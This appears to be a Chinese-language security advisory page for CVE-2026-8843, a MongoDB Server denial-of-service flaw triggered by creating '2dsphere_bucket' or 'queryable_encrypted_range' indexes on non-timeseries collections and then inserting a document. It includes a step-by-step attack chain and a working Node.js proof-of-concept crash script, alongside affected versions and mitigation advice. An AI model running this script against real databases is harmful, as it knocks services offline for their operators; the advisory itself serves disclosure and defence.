IPBUF安全漏洞报告
English
CVE-2026-8843 CVSS 6.5 中危

CVE-2026-8843 MongoDB服务器拒绝服务漏洞

披露日期: 2026-05-18

漏洞信息

漏洞编号
CVE-2026-8843
漏洞类型
拒绝服务
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
MongoDB Server

相关标签

拒绝服务DoSMongoDB索引漏洞Crash

漏洞概述

MongoDB Server 存在安全漏洞,涉及特定索引处理逻辑。在非时序桶集合上创建“2dsphere_bucket”索引或创建“queryable_encrypted_range”索引时,虽然创建操作可能成功,但后续插入触发索引更新的文档会导致服务器崩溃。此问题影响 MongoDB Server v7.0、v8.0 及 v8.2 的特定早期版本。具有低权限的攻击者可通过网络利用此漏洞,导致数据库服务完全中断,严重影响系统可用性。

技术细节

该漏洞的根源在于 MongoDB Server 对特定类型索引的验证和更新逻辑存在缺陷。具体而言,当用户在非时序集合上尝试创建“2dsphere_bucket”索引时,系统未能正确拦截该操作,允许索引创建成功。然而,当后续有数据插入操作触发该索引的更新机制时,服务器内部逻辑无法处理这种非预期的索引状态,从而触发断言失败或空指针引用等底层错误,导致 MongoDB 进程崩溃终止。同样,创建“queryable_encrypted_range”索引时也存在类似的逻辑缺陷。攻击者无需高权限,只需具备基本的数据库创建或写入权限(PR:L),即可通过网络向受影响的实例发送恶意构造的数据库操作指令。通过先创建错误的索引类型,随后执行插入操作,攻击者可以稳定地复现崩溃,从而实现拒绝服务攻击,导致业务数据不可访问。

攻击链分析

STEP 1
步骤1:获取访问权限
攻击者通过网络连接到目标 MongoDB 服务器,并获得具有低权限(PR:L)的数据库用户凭证。
STEP 2
步骤2:创建恶意索引
攻击者在非时序桶集合上执行命令,创建“2dsphere_bucket”或“queryable_encrypted_range”索引。
STEP 3
步骤3:触发服务崩溃
攻击者向该集合插入一条文档数据,触发索引更新逻辑,导致服务器进程崩溃,实现拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// MongoDB PoC for CVE-2026-8843 // This script demonstrates the DoS vulnerability by creating a forbidden index type. const { MongoClient } = require("mongodb"); async function exploit() { const uri = "mongodb://localhost:27017"; const client = new MongoClient(uri); try { await client.connect(); const db = client.db("test_db"); const collection = db.collection("test_collection"); console.log("[+] Creating '2dsphere_bucket' index on a non-timeseries collection..."); // This operation should ideally fail or be restricted, but succeeds in vulnerable versions await collection.createIndex({ loc: "2dsphere_bucket" }); console.log("[+] Index created successfully."); console.log("[+] Inserting a document to trigger the index update..."); // This insert will trigger the server crash await collection.insertOne({ loc: { type: "Point", coordinates: [0, 0] }, name: "CrashMe" }); console.log("[-] Exploit failed or server did not crash."); } catch (error) { console.error("Error occurred (expected if server crashed):", error); } finally { await client.close(); // May not reach here if server crashes } } exploit();

影响范围

MongoDB Server v7.0 < 7.0.32
MongoDB Server v8.0 < 8.0.21
MongoDB Server v8.2 < 8.2.6

防御指南

临时缓解措施
建议立即升级至修复版本。若暂时无法升级,应严格限制数据库用户的权限,防止非受信用户执行创建索引的操作,并密切监控数据库的运行状态和日志,以便及时发现异常崩溃。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表